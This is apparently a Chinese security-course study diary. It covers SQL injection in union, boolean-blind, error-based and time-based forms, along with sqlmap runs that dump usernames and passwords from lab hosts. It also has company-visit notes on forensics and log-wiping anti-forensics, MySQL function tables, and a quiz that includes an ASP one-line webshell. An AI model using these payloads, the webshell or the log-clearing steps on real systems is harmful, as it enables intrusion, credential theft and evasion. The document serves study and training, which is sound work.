' or 1=1/*
'or '1'='1--
' or '1'='1--
1'xor '1'='1
优先级:and
> =
> or
select user,pass from users where user = '' and pass = '' or '1'='1--+
|
联合查询注入
测试注入点
sqlmap -u "http://172.16.12.136/inject/union.php?id=1" Type: boolean-based blind Type: time-based blind Type: UNION query |
暴库
sqlmap -u "http://172.16.12.136/inject/union.php?id=1" --dbs available databases [8]: [*] grade [*] guestbook [*] information_schema [*] jspgou [*] mysql [*] performance_schema [*] test [*] ultrax |
爆表
sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test --tables Database: test [3 tables] +--------+ | person | | users | | xss | +--------+ |
爆字段
sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users --columns Table: users [6 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | address | varchar(255) | | email | varchar(255) | | id | int(11) | | ip | varchar(255) | | password | varchar(255) | | username | varchar(255) | +----------+--------------+ |
爆数据
sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users -C username,password --dump Database: test Table: users [3 entries] +----------+-----------------------------------------+ | username | password | +----------+-----------------------------------------+ | zhangsan | ahangsandemima | | lisi | lisidemima | | test | 098f6bcd4621d373cade4e832627b4f6 (test) | +----------+-----------------------------------------+ |
Day5
HTTP协议
请求方法
Get | Post |
---|---|
GET提交的数据会放在URL之后,以?分割和传输数据,参数之间以&相连 | POST方法将提交的数据放在HTTP包中的Body |
提交的数据大小有限制 | 数据大小不限制 |
需要使用RequestQueryString来获取变量值 | 通过RequestForm获取变量值 |
URL
状态码
状态码 | 描述 |
---|---|
1xx | 请求已接收,继续处理 |
2xx | 请求成功接收并处理 |
3xx | 重定向 |
4xx | 语法错误,无法请求 |
5xx | 服务端错误 |
请求头
Cookie : 客户端发给服务器证明用户状态的信息
cookie名 : cookie值成对出现,以;分开
Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易绕过
客户端有权改掉发出请求的源页面
响应头
Set-Cookie : 服务器发给客户端的SessionID(被窃取的风险)
Content-Length : 响应body部分的字节长度
可应用于暴力破解的返回信息判断
Location : 重定向用户到另一个页面,可识别身份认证后允许访问的页面
TOP 10漏洞
SQL 注入
原理
- 参数用户可控
- 参数代入数据库查询
MYSQL
MySQL5.0之后默认存在一个information_schema的数据库,其中有schemata、tables和columns三个需要注意的表名!
schemata:存储用户创建的所有数据库的库名,其中记录数据库库名的字段为schema_name,记录数据库表名的字段为table_name!
tables:存储该用户创建的所有数据库的库名和表名,其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name
tables:存储该用户创建的所有数据库的库名和表名和字段名,其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name,记录数据库字段名的字段为columns_name!
判断mysql:
and exsits (select count(*) from information_schema.tables)>0
案例:
select schema_name from information_schema; select table_name from information_schema.tables where table_schema = test; select column_name from information_schema.columns where table_schema = test and table_name = users; |
判断注入类型
id=1' id=1'' id=1';''
判断字符型
id=1 and 1=1 id=1 and 1=2
判断整型
联合查询
- 判断注入类型
判断为整型注入!
- 判断字段数
id=-1 order by n,结合bp爆破字段数
- 判断注入位置
id=-1 union select 1,1,1,1
- 在指定位置获取数据库
id=-1 union select 1,database(),1,2
- 获取表名
id=-1 union select 1,(select table_name from information_schema.tables where table_schema= test limit 0,1),1,2
id=-1 union select 1,(select group_concat(table_name from information_schema.tables where table_schema= 'test' )),1,2
- 获取字段
id=-1 union select 1,(select group_concat(column_name from information_schema.columns where table_schema= 'test' and table_name='users' limit)),1,2
- 获取数据
id=-1 union select 1,(select group_concat(username) from test.users ),3,4
Grade网站手工注入
测试链接:query.php?user=1'and 1=1#
,注入类型判断为字符型
判断列数:
<-暴库-> http://172.16.12.56/grade/query.php?user=1' union select database()--+ grade <-暴表-> http://172.16.12.56/grade/query.php?user=1' union select table_name from information_schema.tables where table_schema='grade'--+ admins <-暴列-> http://172.16.12.56/grade/query.php?user=1' union select column_name from information_schema.columns where table_schema='grade' and table_name='admins'--+ name pass <-暴数据-> http://172.16.12.56/grade/query.php?user=1' union select group_concat(name,":",pass) from grade.admins--+ admin:admin001 |
Bool盲注
通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此获取数据库中的数据!
`substr(databse(),1,1)` 截取databse()的值,从第一位开始,每次只返回一个! limit 1,1 从第一个字段开始,每次返回一个! |
- 判断注入类型
- id = 1 ' and 1 = 1%23 返回yes - id = 1 ' and 1 = 2%23 返回no
判断为字符型注入
- 判断数据库长度
id=1'and length(database())>=1--+
- 判断数据库名
id=1'and substr(database(),1,1)='d'--+
id=1'and ord(substr(database(),1,1))=100--+
由此可得库名:
test
- 判断表名
id=1'and substr((select table_name from information_schema.tables where table_schema='dede' limit 0,1),1,1)='u'--+
依次爆破可得目标表名:users;
- 判断列名
id=1'and substr((select column_name from information_schema.columns where table_schema='dede' limit 0,1),2,1)='s'--+
依次查询可得目标字段名:id,username,password
- 判断数据
id=1'and substr((select username from users limit 0,1),2,1)='o'--+
id=1'and substr((select password from users limit 1,2),3,1)='3'--+
依次可以得到账户密码列表:
zhangsan | ahangsandemima |
---|---|
lisi | lisidemima |
test | 098f6bcd4621d373cade4e832627b4f6 |
Day6
公司参观心得
神琥科技
公司背景
致力于提供网络空间安全和电子数据取证一体化解决方案的高科技企业 业务领域包括:病毒木马追踪溯源、电子数据痕迹恢复、大数据汇聚与关联分析、主动防御取证和电子数据司法取证鉴定服务等. |
取证流程
- 基于入侵时间
- 查找可疑文件
- 查看系统日志
反溯源手段
- 痕迹清理
- 覆盖式删除
- 删除对象 : 所上传的文件以及系统日志文件
自我总结
溯源取证是一个取证人员与黑客之间的技术较量,取证的源头和出发点都是黑客的ip ip信息存在于系统日志中,取证和反溯源首相关注的点都应该是系统日志 windows系统日志:C:WindowsSystem32winevtLogs linux系统日志:/var/log |
有时候取证就是这么简简单单!
启明星辰
公司背景
由留美博士严望佳女士创建,是一家拥有自主知识产权的网络安全高科技企业 以入侵检测系列化产品为核心,启明星辰天清汉马USG一体化安全网关,启明星辰天清汉马USG一体化安全网关 并在此基础上推出了漏洞扫描、安全评测、安全审计、安全取证、恶意代码查杀、宏观监测、风险评估等安全产品和工具。 研制开发了以入侵管理技术为核心的“入侵检测管理平台”,构筑了包括防火墙、入侵监测、漏洞扫描、入侵取证、物理隔离检查、主机保护、安全审计、防病毒、网管系统、灾难备份等安全设备在内的整体网络安全主动防御体系。 |
个人总结
互联网技术发展如火如荼,随时掌握新的技术不能犹豫,通过这次去到启明科技参观,深深的感受到了自己薄弱的知识水平,对于IOT设备安全,大数据云安全,车联网设备安全,区块链安全等前沿技术,学习应该提上日程了!
|
报错注入
程序将输入的数据带入了数据库执行,导致报错!
测试语句
- 输入
'
,"
,%
,-99999999999'
等进行报错测试构造语句http://127.0.0.1:9096/SQLinject/error.php?username=1'
返回结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
通过页面返回结果可以看到,程序将错误信息直接返回到了页面上,所以此处可以利用报错注入获取数据!
注入语句
floor()
id=1' and (select 1 from (select count(*),concat(0x7e,(select databse()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,这样做的目的是让group by和floor(rand(0)*2)相遇
这个payload的重点在group by a,也就是group by floor(rand(0)2)
floor(rand(0)*2)的意思是随机产生0或1,但是是有规律的随机数,基本上得到的序列为011011011
mysql官方说,在执行group by语句的时候,group by语句后面的字段会被运算两次
现在假设有虚拟表x:floor(rand(0)2)数据为011011011;虚拟表y:以上所有逻辑上拼接的表,初始为空
group by 扫描y表的第一项时,第一次运算,x中第一项数据是0,发现y表中不存在;这时会进行第二次运算,取x中第二项数据,将1作为键值插入,count(*)字段置1;
group by 扫描y表的第二项时,第一次运算,x中第三项数据为1,发现存在,将count(*)字段置2;不进行第二次运算
group by 扫描y表的第三项时,第一次运算,x中第四项数据为0,发现不存在;这是会进行第二次运算,将x中第五项数据插入y表中,因为此时1已经存在,此时就会由于主键冗余而报错;
extractvalue()
extractvalue(target_xml,xml_path)
1'and extractvalue(2,concat(0x7e,(select database() from information_schema.schemata limit 0,1),0x7e))--+
updatexml()
updatexml(xml_document,Xpath_String,new_value)
xml_document : 名字
Xpath_String : Xpath语法的字符串
new_value :替换数据
改变xml_document 中符合Xpath_String 语法的值为new_value
1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
暴库
127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ XPATH syntax error: '~test~' |
爆表
127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+ XPATH syntax error: '~person~' 127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 1,1),0x7e),1)--+ XPATH syntax error: '~users~' 127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 2,1),0x7e),1)--+ XPATH syntax error: '~xss~' |
爆字段
127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 0,1),0x7e),1)--+ XPATH syntax error: '~id~' 127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 1,1),0x7e),1)--+ XPATH syntax error: '~username~' 127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='test' limit 2,1),0x7e),1)--+ XPATH syntax error: '~money~' |
爆数据
127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select username from test.users limit 0,1),0x7e),1)--+ XPATH syntax error: '~zhangsan~' 127.0.0.1:9096/sql/error.php?username=1'and updatexml(1,concat(0x7e,(select password from test.users limit 0,1),0x7e),1)--+ XPATH syntax error: '~ahangsandemima~' 依次爆破得: lisi lisidemima test 098f6bcd4621d373cade4e832627b4f6 |
Sqlmap
爆库: sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" --dbs test 爆表: sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test --tables users 爆列: sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test -T users --columns password username 爆内容: sqlmap.py -u "127.0.0.1:9096/sql/error.php?username=1" -D test -T users -C username,password --dump |
时间盲注
时间盲注是利用sleep()
或benchmark()
等函数让MySQL的执行时间变长。它多与IF(exp1,exp2,exp3)结合使用!
此if语句的含义是:如果exp1是true,则if()的返回值为exp2;否则返回exp3。
所以判断数据库库名长度的语句应为:if(length(database())>1,sleep(5),1)
此语句的含义是:如果database()带入执行了,并且数据库名的长度大于1,则MySQL查询语句会休眠3秒,否则查询1;因为查询1大约只需要几十毫秒,根据BurpSuite的响应时间,可以判断条件是否正确!
时间盲注和布尔盲注的原理差不多,通过判断后台返回的响应时间来判断相应数据是否存在!
判断注入类型
127.0.0.1:9096/sql/time.php?id=1'' 判断为数值型注入 |
判断数据库长度
127.0.0.1:9096/sql/time.php?id=1 and if(length(database())>3,sleep(3),1)--+ 判断库名长度为3 |
爆库
127.0.0.1:9096/sql/time.php?id=1 and if(substr(database(),1,1)='a',sleep(3),1)--+
|
以此判断的到数据库名:test
爆表
127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='dede' limit 0,1),1,1)='a',sleep(3),1)--+
|
依次可爆破表名:users
爆列
127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a',sleep(3),1)--+ 127.0.0.1:9096/sql/time.php?id=1 and if(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1)='a',sleep(3),1)--+ |
依次可判断字段名:username,password
爆数据
127.0.0.1:9096/sql/time.php?id=1 and if(substr((select username from users limit 0,1),1,1)='a',sleep(3),1)--+
|
依次可得username数据:zhangsan,lisi,test
127.0.0.1:9096/sql/time.php?id=1 and if(substr((select password from users limit 0,1),1,1)='a',sleep(3),1)--+
|
依次可得password数据:
ahangsandemima lisidemima 098f6bcd4621d373cade4e832627b4f6
Day7
SQL
用于操作数据库的结构化语言。
DDL
数据定义语言,用来定义和管理包括数据库、数据表、函数、索引、触发器等数据对象
create database if not exists test1 charset utf8;
drop database test;
alter table users modify/drop/add address [varchar(100)];
DML
数据操纵语言,用于操作数据库对象中包含的数据的增删改
insert into users values (3,'赵','四','纽约',100003), (4,'孙','六','深圳',100004); |
update users set address='成都' where firstname='赵' and lastname='四'; |
delete from users where 子句
|
DQL
简单查询
- 模糊查询
SELECT id,Title from mlzm_content WHERE Title LIKE '%小%' SELECT id,title from mlzm_content WHERE INSTR(Title,'小')>0; SELECT id,title from mlzm_content WHERE LOCATE('小',Title)>0; SELECT id,title from mlzm_content WHERE POSITION('小' IN Title); SELECT id,title from mlzm_content WHERE FIND_IN_SET('小',Title);
- 分组
select customer,sum(orderprice) from orders group by customs having sun(orderprice) < 1600
- 排序
select * from salary order by number; //升序
- 分页
每次只显示其中的从第几条到第几天! select * from film limit 3,10 #从第3条显示10条 pageSize(每页多少条)、page(当前是第几页) select * from film limit (7-1)*10,10
函数
- 字符串函数
- 日期函数
- 流程函数
连接查询
子查询
DDL
grant
revoke
Mysql函数
字符串函数
字符串函数 | 描述 |
---|---|
SUBSTR(s, start, length) | 将字符串转换为大写 |
SUBSTRING_INDEX(s, delimiter, number) | 返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 |
UPPER(s) | 将字符串转换为大写 |
CONCAT(s1,s2…sn) | 字符串 s1,s2 等多个字符串合并为一个字符串 |
CONCAT_WS(x, s1,s2…sn) | 同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符 |
LENGTH(s1) | 返回s1的长度 |
CHAR_LENGTH(s) | 返回s的字符数 |
案例:
以首字母大写的方式显示所有员工姓名: select concat(UPPER(substring(username,1,1)),LOWER(substring(username,2,LENGTH(username)-1))) from users; |
时间函数
时间函数 | 描述 |
---|---|
NOW() | 返回当前时间:2019-07-23 12:00:00 |
CURDATA() | 返回当前日期:2019-07-23 |
CURTIME() | 返回当前时间:19:53:02 |
WEEK(DATE) | 返回日期中的周 |
YEAR(DATE) | 返回日期中的年 |
DATE_FORMAT(S,pattern) | 格式化日期 |
DATEDIFF(d1,d2) | 返回相差天数 |
DATE_ADD(d,INTERVAL Y TYPE) | 给当前日期加上指定类型的Y值 |
TO_DAYS(date) | 计算date举例2000/0/0/0的天数 |
YEAR() / MONTH() | 返回年份 / 月份 |
LAST_DAY(d) | 返回给定日期的月份的最后一天 |
案例:
返回入职满35年的员工: select * from emp where curdate() > DATE_ADD(hiredate,INTERVAL 35 YEAR) #DATE_ADD会计算闰年 找出各月倒数第三天受雇的所有员工: select * from emp where last_day(hiredate=date_add(hiredate,INTERVAL 2 day) |
流程函数
CASE expression WHEN condition1 THEN result1 WHEN condition2 THEN result2 ... WHEN conditionN THEN resultN ELSE result END |
CASE 表示函数开始,END 表示函数结束。
如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。
案例:行列转换
创建数据表:
create table sell ( _year int , _month int, _sellnum int ) insert sell (_year,_month,_sellnum) values (1998,1,31), (1998,2,11), (1998,3,12), (1998,4,23), (1998,5,21), (1998,6,18), (1998,7,16), (1998,8,17), (1998,9,21), (1998,10,19), (1998,11,13), (1998,12,17) |
case 查询:
SELECT _year, max(CASE _month WHEN 1 THEN _sellnum ELSE 0 END )'一月', max(CASE _month WHEN 2 THEN _sellnum ELSE 0 END )'二月', max(CASE _month WHEN 3 THEN _sellnum ELSE 0 END )'三月', sum(case _month when 4 then _sellnum else 0 end)'四月', sum(case _month when 5 then _sellnum else 0 end)'五月', sum(case _month when 6 then _sellnum else 0 end)'六月', sum(case _month when 7 then _sellnum else 0 end)'七月', sum(case _month when 8 then _sellnum else 0 end)'八月', sum(case _month when 9 then _sellnum else 0 end)'九月', sum(case _month when 10 then _sellnum else 0 end)'十月', sum(case _month when 11 then _sellnum else 0 end)'十一月', sum(case _month when 12 then _sellnum else 0 end)'十二月' FROM sell GROUP BY _year |
测试题
一:单项选择题(共10题,每题3分)
1.用来查询域名名称和IP之间对应关系的系统自带命令是( A )。
A、nslookup
B、ifconfig
C、tracert
D、procfinfo
2.Nessus主要的功能是什么(D )
A、端口扫描
B、弱口令扫描
C、渗透攻击
D、安全的脆弱性扫描
3.centos iptables防火墙,以下哪项是允许所有本机向外的访问( B )
A、iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
B、iptables -A OUTPUT -j ACCEPT
C、iptables -A FORWARD -j REJECT
D、iptables -F
4.以下哪项是asp的一句话木马( A )。
A、<%execute(request(“value”))%>。
B、。
C、<%@ PageLanguage=”Jscript”%>。
D、<%eval(Request.Item[“value”])%>。
5.当访问web网站的某个页面资源不存在时,将会出现的HTTP状态码是(D )
A、200
B、302
C、401
D、404
6. 使网络服务器充斥大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这类攻击属于(D)
A、文件共享
B、BIND漏洞
C、远程过程调用
D、拒绝服务
7.ARP协议实现的功能是( C )
A、域名地址到IP地址的解析
B、IP地址到域名地址的解析
C、IP地址到物理地址的解析
D、物理地址到IP地址的解析
8.你所使用的系统为UNIX,你通过umask命令求出当前用户的umask值为0023,请问该用户在新建文件夹的权限为?(A)
A、RWXR-XR–
B、RW-R—–
C、RW-R-XR–
D、RWXRW-R–
9.网络层上信息传输的基本单位称为( B )
A、段
B、包
C、帧
D、报文
10. 黑客进行攻击的最后一个步骤是:( D )
A、侦查与信息收集
B、漏洞分析与目标选定
C、获取系统权限
D、打扫战场,清除证据
二:填空题(共5题,每题5分)
1.在kali中路由跟踪命令是什么( traceroute )。
2.在mysql数据库中,其中保存着关于MySQL服务器所维护的所有其他数据库的信息的数据库表是( information_schema )。
3.metasploit中攻击载荷是( payload )。
4.网络安全工具NMAP,使用( -O )选项可以进行操作系统侦测。
5.使用什么命令可以打开metasploit的终端模式( msfconsole )。
三:简单题(共4题,每题5分)
1.Web服务器被入侵后,怎样进行排查?
首先基于入侵事件做特征文件匹配
查看windows和linux的事件日志
审计攻击者遗留信息进行ip追踪或反查等
2.渗透测试的流程是什么?
信息收集 漏洞扫描 漏洞利用 提权 内网穿透 权限驻留 打扫战场
3.Rootkit是什么意思?
一种隐藏后门
4.在web信息收集中,怎么判断是否有CDN,如果有请简要说明绕过方法有哪些?
target_ip地址的唯一性判断
绕过方法:①子域名攻击②fantanshell③社工管理员….
四:主观题(共1题,每题25分)
1.请你说下黑客有哪些攻击技术和思路,请举例说明。以及对于的防范措施是什么?
攻击技术 | 攻击思路 | 防御思路 |
---|---|---|
SQL注入 |
构造恶意sql语句以获取数据库信息及后续操作 |
将sql查询语句做严格过滤与白名单限制,限制数据库用户的权限等 |
XSS |
操纵前端可控的js脚本,执行恶意代码 |
目前最好的修复方案:通过白名单机制,限制js的使用 |
CSRF |
伪造页面,以登陆用户的权限执行恶意操作 |
使用跨域验证或Token校验等 |
RCE |
基于服务端代码的限制不严,使得数据以代码的方式执行执行 |
输入数据严格过滤或白名单处理 |
LFI |
基于include等文件包含函数的特点,包含指定系统文件或上传脚本 |
使用include包含文件做白名单限制即可 |
文件上传 |
一般基于源码审计,找到方法绕过文件上传限制,提交恶意脚本,常配合文件包含攻击 |
针对用户级别指定安全限制,高保密用户使用白名单,其他用户禁止上传脚本文件以及对常见绕过方法做过滤处理 |
缓冲区溢出 |
基于系统和二进制的攻击,流程为逆向分析,漏洞发现,漏洞利用 |
及时安装各大厂商软件或系统的修复补丁 |
原创文章,作者:小嵘源码,如若转载,请注明出处:https://www.lcpttec.com/infosafety/